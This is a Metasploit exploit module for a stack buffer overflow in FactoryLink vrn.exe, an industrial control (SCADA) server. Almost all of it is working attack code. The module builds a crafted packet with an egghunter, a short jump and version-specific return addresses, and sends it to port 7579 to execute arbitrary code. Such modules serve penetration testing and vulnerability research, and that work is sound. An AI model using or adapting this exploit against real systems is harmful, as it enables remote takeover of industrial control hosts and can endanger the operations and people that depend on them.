FactoryLink vrn.exe Opcode 9 Buffer Overflow

`##  
# $Id: factorylink_vrn_09.rb 12996 2011-06-21 18:02:35Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2, and 8.0.1.703.  
By sending a specially crafted packet, an attacker may be able to execute arbitrary code.   
Originally found and posted by Luigi Auriemma.  
},  
'Author' =>  
[   
'Luigi Auriemma', # Public exploit  
'hal' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 12996 $',  
'References' =>  
[  
['OSVDB', '72815'],  
['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 885,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'padding' => 0 } ],  
[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'padding' => 0 } ],  
[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'padding' => 4 } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 21 2011'))  
  
register_options([Opt::RPORT(7579)], self.class)  
end  
  
def exploit  
connect  
  
hunter = generate_egghunter(payload.encoded, payload_badchars,  
{ :checksum => true, :startreg => 'ebp'})  
  
egg = hunter[1]  
  
header = "\x3f\x3f\x3f\x3f"  
header << "\xff\x55"  
header << "\x09\x00"  
header << "\x3f\x3f\xff\xff\x00\x00\x3f\x3f"  
header << "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f"  
header << "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"  
header << "\x3f\x3f"  
header << "\xff\xff\xff\xff"  
header << "\x3f\x3f"  
  
request = header  
request << rand_text_alpha_upper(100)  
request << egg  
request << ("C" * target['padding'])  
request << "\xeb\x06\x90\x90"  
request << [target.ret].pack('V')  
request << "C"*24  
request << hunter[0]  
request << rand_text_alpha_upper(100000)  
  
print_status("Trying target #{target.name} with #{request.size} bytes")  
sock.put(request)  
  
handler  
disconnect  
end  
end  
`